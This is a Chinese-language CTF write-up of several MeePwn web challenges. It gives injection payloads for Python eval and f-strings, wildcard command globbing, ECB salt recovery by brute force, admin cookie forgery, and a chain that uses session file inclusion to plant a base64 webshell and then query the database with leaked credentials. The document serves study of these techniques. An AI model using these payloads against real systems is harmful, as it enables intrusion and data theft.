OmegaSector
题目链接:http://138.68.228.12/
html注释中
访问1
http://138.68.228.12/?is_debug=1
得到回显
发现网站源码,这里给出关键部分:
flag的位置
1 | ini_set("display_errors", 0); |
两个跳转功能
1 | if($whoareyou==="alien.somewhere.meepwn.team") |
这里有一个链接的跳转header( "Location: alien_sector.php" )
,但是需要$_GET['alien']==='@!#$@!@@'
然后紧接着1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21elseif($whoareyou==="human.ludibrium.meepwn.team")
{
if(!isset($_GET['human']))
{
echo "";
$wrong = .......(省略)
echo $wrong;
}
if(isset($_GET['human']) and !empty($_GET['human']))
{
if($_GET['human']==='Yes')
{
$_SESSION['auth']=hash('sha256', 'human'.$salt);
exit(header( "Location: omega_sector.php" ));
}
else
{
mapl_die();
}
}
}
这里也有一个不同的跳转omega_sector.php
,需要$_GET['human']==='Yes'
$whoareyou的来源
1 | $remote=$_SERVER['REQUEST_URI']; |
攻击思路
那么很明显,第一步是要过这里的whoareyou解析
我们必须访问题目的链接http://138.68.228.12/
,但是又需要它将host解析成alien.somewhere.meepwn.team
或human.ludibrium.meepwn.team
那么这里就可以利用Burp抓包修改bypass
显然成功触发了302跳转
我们跟一下
成功来到了alien_sector.php页面
经过fuzz,不难发现,这个页面只允许输入符号,而数字和字母是非法的
type控制文件后缀,message控制文件内容
另一边,omega_sector.php是一样的,我就不再赘述,是只允许字母和数字,不允许任何符号
而对于符号,我立刻就想到了利用?来通配bypass的trick,而对于php标签,在Solveme.peng.kr中遇到过:1
http://www.freebuf.com/articles/web/165537.html
类似于1
'123'; =$flag=
可以被解析为1
2
3
4
$flag='123';
echo $flag;
而对于通配符,早在geekgame中我也遇到过:1
http://skysec.top/2017/10/28/geekgame%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/#%E4%BD%A0%E7%9A%84%E5%90%8D%E5%AD%97
所以这里可以用?来通配命令
例如
我们可以利用/???/???来通配/bin/cat
而flag文件1
../secret.php
可以用1
../??????.???
简单测试
访问该文件得到
it works!
payload
综上所述,可以得到payload
为什么使用重定向:因为我尝试过直接读取,但是貌似太大了,页面一直在加载中,很难受
访问该页面,下载重定向文件,即可看到flag
PyCalx
题目链接:http://178.128.96.203/cgi-bin/server.py?value1=123&op=%3D%3D&value2=123
题目直接给出了源码(给出关键部分)
源码分析
1 | #!/usr/bin/env python |
代码很好理解,接收了4个参数,对其中3个参数进行check(source参数不check)
然后拼接3个参数,进行命令执行
判断执行结果是否为bool值或者数字,如果是,则输出,反之则输出无效
那我们的思路也很简单了,bypass过滤,执行命令,读取/var/www/flag
而过滤如下:1
2
31.对于value:最长为64,不可出现黑名单字符'( ) [ ] ' " '
2.对于op:最长为2,必须以白名单开头'+ - / * = !'
3.value1和value2的类型必须一样,要么都为数字,要么都为字符串
攻击思路
这里想要命令执行显然比较困难
但是题目暗示明显,想让我们进行运算比较
那这就和sql注入很相似了,我们只需要构造两个值进行比较即可
而题目意图也很直接,关于op,留下了2个字符长度,却只过滤了一个
我们知道python中,+
除了运算符的加,也可以当做拼接符
而#
可以用于注释
那么就可以进行注入闭合了1
2
3value1=a
op=+'
value2= < b#
此时我们可以发现语句变成了1
'a'+''<b#'
但是这样是无效的,因为b不是一个已定义的变量
所以这里想到引入已定义的变量进行注入
那么能控制的也只有source、value1了(因为value2无法引入单引号)
此时还只能构造已定义变量的表达式,所以想到了1
value1+FLAG<vaule1+source
这样的表达式
对于source
的值,我们可以控制1
2if 'source' in arguments:
source = arguments['source'].value
故此可以得到如下的payload:1
source=M&value1=sky&value2=+FLAG<value1+source#&op=+'
这样一来就可以得到比较式1
'x'+''+FLAG<value1+source
而value1正是前面的x,我们可以利用能控制的source
比较出FLAG
这也是sql注入中常见的手段
注入脚本
1 | import requests |
运行结束即可得到flag
PyCalx2
这里变成了加强版,有了我之前说的op过滤
我们对比一下两者源码,只有这一处改动1
op = get_op(get_value(arguments['op'].value))
也就是说加入了黑名单过滤
我们的op不能再引入( ) [ ] ' "
那么引号肯定是不能直接像sql注入那样闭合了
攻击思路
这里就用到了python3.6的新特性1
https://www.python.org/dev/peps/pep-0498/
即以f 开头,表达式放在大括号{}里,在运行时表达式会被计算并替换成对应的值。
那么我们可以利用op=+f
来进行bypass
为了有办法辨识正确性,所以引入了0和1做对比
但是因为结果只允许True和False
在保证区分度的情况下,还得构造出True
这里就用到了14:x
正如图中所示,其经过表达式后,值为e
而表达式中,如果是0的话,那么输出则为True,如果为1的话,那么输出则不是True,也就是无效
这样就有了辨识度,可以进行注入了
直接将0和1的位置改成FLAG<source
进行比较即可
攻击脚本
1 | import requests |
运行后得到flag
Mapl Story
题目链接:http://178.128.87.16/
题目源码下载:
https://ctf.meepwn.team/attachments/web/MaplStory_f7056ad79428f636ca4e92f283727818ecc0dd70ecb95f8a12e2764df0946022.zip
代码分析
拿到代码后,发现不是框架写的,那么就从入口入手吧
审计index.php1
2
3
4
5
6
7
8if(isset($_GET['page']) && !empty($_GET['page']))
{
include($_GET['page']);
}
else
{
header("Location: ?page=login.php");
}
不难发现存在文件包含问题,这里暂时记下
然后跟着跳转来到Login.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22if( $count === 1 && $row['userPass']===$password )
{
$secure_email=encryptData($row['userEmail'],$salt,$key);
$secure_name=encryptData($row['userName'],$salt,$key);
$log_content='['.date("h:i:sa").' GMT+7] Logged In';
$_SESSION['character_name'] = $secure_name;
$_SESSION['user'] = $secure_email;
$_SESSION['action']=$log_content;
if ($row['userIsAdmin']==='1')
{
$data='admin'.$salt;
$role=hash('sha256', $data);
setcookie('_role',$role);
}
else
{
$data='user'.$salt;
$role=hash('sha256', $data);
setcookie('_role',$role);
}
header("Location: ?page=home.php");
}
登录成功后,将会把登录的身份+盐的sha256赋值给cookie的_role
我们继续跟进到admin.php,看是否使用_role判断是否为admin
关键代码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ob_start();
require_once('dbconnect.php');
require_once('mapl_library.php');
check_access();
is_login();
//setup config
$configRow=config_connect($conn);
$salt=$configRow['mapl_salt'];
$key=$configRow['mapl_key'];
//get information
$mail=mysqli_real_escape_string($conn,decryptData($_SESSION['user'],$salt,$key));
$character_name=mysqli_real_escape_string($conn,decryptData($_SESSION['character_name'],$salt,$key));
$userRow=user_connect($conn,$mail);
$admin=is_admin($salt);
if($admin===0)
{
mapl_die();
}
$log_content='['.date("h:i:sa").' GMT+7] Access Hidden Street!';
$_SESSION['action']=$log_content;
我们跟进is_admin()函数1
2
3
4
5
6
7
8function is_admin($salt)
{
if(isset($_COOKIE['_role']) && !empty($_COOKIE['_role']) && $_COOKIE['_role']===hash('sha256', 'admin'.$salt))
{
return 1;
}
return 0;
}
发现的确是使用cookie中的_role来确认admin的身份
那么现在的思路很简单,伪造cookie,变成admin,触发下一步功能
第一步攻击思路
那么既然需要伪造cookie,就必须知道salt的值
我们全局搜索一下$salt,不难发现1
2
3
4
5
6
7function encryptData($data,$salt,$key)
{
$encrypt=openssl_encrypt($data.$salt,"AES-128-ECB",$key);
$raw=base64_decode($encrypt);
$final=implode(unpack("H*", $raw));
return $final;
}
因为有做过CBC的Padding Oracle Attack,所以我知道这里的ECB可能也存在问题
或许可以用类似的方法,得到$salt的明文
而我们知道这个函数的调用点在login的时候1
2
3
4$secure_email=encryptData($row['userEmail'],$salt,$key);
$secure_name=encryptData($row['userName'],$salt,$key);
$_SESSION['character_name'] = $secure_name;
$_SESSION['user'] = $secure_email;
值是存在session里的,那我们如何看到这个值呢?
这就要用到最开始的文件包含了
文件包含的时候包含session是一种常见的手段
一般用于getshell等(N1CTF等各大比赛就曾出现过)
这里我们可以使用包含读取session的变量值1
http://178.128.87.16/?page=/var/lib/php/sessions/sess_81nfo68a16biqs4miuu17146n3
得到内容1
character_name|s:64:"28288a94081dcbd325417d83957b9305080a355c37b4654ec2a5813f81dbe98b";user|s:64:"c15b9c9a37650c56d735659c9e77af8675d32841afa09ffe1f2c633855139005";action|s:28:"[12:56:31pm GMT+7] Logged In";
于是我们得到了加密过的1
2$secure_email:c15b9c9a37650c56d735659c9e77af8675d32841afa09ffe1f2c633855139005
$secure_name:28288a94081dcbd325417d83957b9305080a355c37b4654ec2a5813f81dbe98b
那么怎么利用这一点得到$salt呢?
这里可以利用相似Padding Oracle Attack的解法,但是简单的多
1.假设明文为:skycool, salt的值为:Whitzard
2.加密的时候就会变成string:skycoolWhitzard
而如果8个一组进行加密的话
skycoolW为第一组
hitzard+(padding)为第二组
那么如果我们注册一个用户名为skycool的用户,得到他的$secure_name
然后不断更新用户名
skycoola
skycoolb
…..
直到第一个分组的密文等于之前的$secure_name
即skycoolW
此时就得到了第一个salt的值:W
所以总体过程为
skycoolW
skycooWhitzard
skycoWhi
skycWhit
skyWhitz
skWhitza
sWhitzar
Whitzard
而这里是16个一组,所以如图,我们不断往后爆破即可得到salt
即注册skyskyskyskysky即可,然后利用1
http://178.128.87.16/index.php?page=setting.php
即可更改用户名,不断进行爆破,即可得到salt
salt爆破脚本
1 | import requests |
运行即可得到salt:ms_g00d_0ld_g4m3
第二步攻击思考
有了salt,第一件事肯定是伪造cookie的_role
我们根据1
2
3
4
5
6if ($row['userIsAdmin']==='1')
{
$data='admin'.$salt;
$role=hash('sha256', $data);
setcookie('_role',$role);
}
伪造cookie:1
2
3
4
5
6
7
8import hashlib
def sha256(name,salt):
sha = hashlib.sha256(name+salt)
encrypts = sha.hexdigest()
return encrypts
salt = 'ms_g00d_0ld_g4m3'
name = 'admin'
print sha256(name,salt)
得到1
a2ae9db7fd12a8911be74590b99bc7ad1f2f6ccd2e68e44afbf1280349205054
此时成功伪造admin,登入admin.php页面
然后我们看一下admin.php的代码1
2
3
4
5
6
7
8
9
10
11
12
if ( isset($_POST['pet']) && !empty($_POST['pet']) && isset($_POST['email']) && !empty($_POST['email']) )
{
$dir='./upload/'.md5($salt.$_POST['email']).'/';
give_pet($dir,$_POST['pet']);
if(check_available_pet($_POST['pet']))
{
$log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);
$_SESSION['action']=$log_content;
}
}
这里有一个地方非常瞩目,因为我之前有说过,包含session文件getshell是比较常见的一个思路
那么这里有一个可控的session变量就显得尤为危险
我们看一下构造1
$log_content='['.date("h:i:sa").' GMT+7] gave '.$_POST['pet'].' to player '.search_name_by_mail($conn,$_POST['email']);
跟进search_name_by_mail()1
2
3
4
5
6
7
8
9
10
11
12
13
14function search_name_by_mail($conn,$mail)
{
$mail=mysqli_real_escape_string($conn,$mail);
$res=mysqli_query($conn,"SELECT userName FROM users WHERE userEmail='".$mail."'");
$userRow=mysqli_fetch_array($res);
if($userRow['userName'])
{
return $userRow['userName'];
}
else
{
return '[Not Exists Player]';
}
}
发现成功返回用户名,也就是说这里可以将用户名写入session
而用户名是可控的,但是必须经过黑名单过滤1
$too_bad="/(fuck|bakayaro|ditme|bitch|caonima|idiot|bobo|tanga|pin|gago|tangina|\/\/|damn|noob|pro|nishigou|stupid|ass|\(.+\)|`.+`|vcl|cyka|dcm)/is";
除了过滤了一些脏话,有一个正则非常难受1
|\(.+\)|`.+`|
而这个过滤是针对全局的get和post的,这样我们就不能直接利用用户名+session getshell了
所以这里就要用到最后一个尚未被使用的功能了:1
http://178.128.87.16/index.php?page=character.php
跟一下代码1
2
3
4
5
6
7
8
9
10
11
12if(isset($_POST['command']) && !empty($_POST['command']))
{
if(strlen($_POST['command'])>=20)
{
echo '<center><strong>Too Long</strong></center>';
}
else
{
save_command($mail,$salt,$_POST['command']);
header("Refresh:0");
}
}
这里跟踪save_command()1
2
3
4
5function save_command($email,$salt,$data)
{
$dir='./upload/'.md5($salt.$email);
file_put_contents($dir.'/command.txt', $data);
}
发现是写文件
那么我们思考一下,可否包含自己写的文件进行getshell呢?
但是问题又来了,文件的内容是post形式的,那么还是要经过过滤,这就非常尴尬了
有没有什么可以绕过过滤的方法呢?
我们知道cookie是未被过滤的,而我们可控的点有一个txt的文件写入和一个php文件的内容,但是都要经过过滤
这里有一个比较好的思路
构造一个名为1
include"$_COOKIE[a] =
的用户名
然后利用发送宠物,将其写入session
此时,我们就在cookie里有了文件包含的方法,这样就可以轻松bypass过滤
然后我们在写文件的地方,写入小马的base64
再利用伪协议包含这个文件,即可解码成功,并包含小马,达到getshell的目的
攻击流程
1.修改自己的用户名为:1
include"$_COOKIE[a] =
2.admin.php发送宠物给自己
3.character.php给宠物下命令PD89YCRfR0VUW2ZdYDs
即1
=`$_GET[f]`;
然后在自己的session页面1
http://178.128.87.16/index.php?page=/var/lib/php/sessions/sess_860rofo88uaj96mrs8u2ufk0k6
增加cookie:1
a=php://filter/convert.base64-decode/resource=upload/783691d030e4c77da08982a705ff9e76/command.txt
利用伪协议解码小马,并包含进来
即可成功执行命令
然后读取dbconnect.php1
2
3
4
5
6
7
8
9
10define('DBHOST', 'localhost');
define('DBUSER', 'mapl_story_user');
define('DBPASS', 'tsu_tsu_tsu_tsu');
define('DBNAME', 'mapl_story');
$conn = mysqli_connect(DBHOST,DBUSER,DBPASS,DBNAME);
if ( !$conn ) {
die("Connection failed : " . mysql_error());
}
连接并查询数据库1
echo 'SELECT * FROM mapl_config;'| mysql -umapl_story_user -ptsu_tsu_tsu_tsu mapl_story
得到flag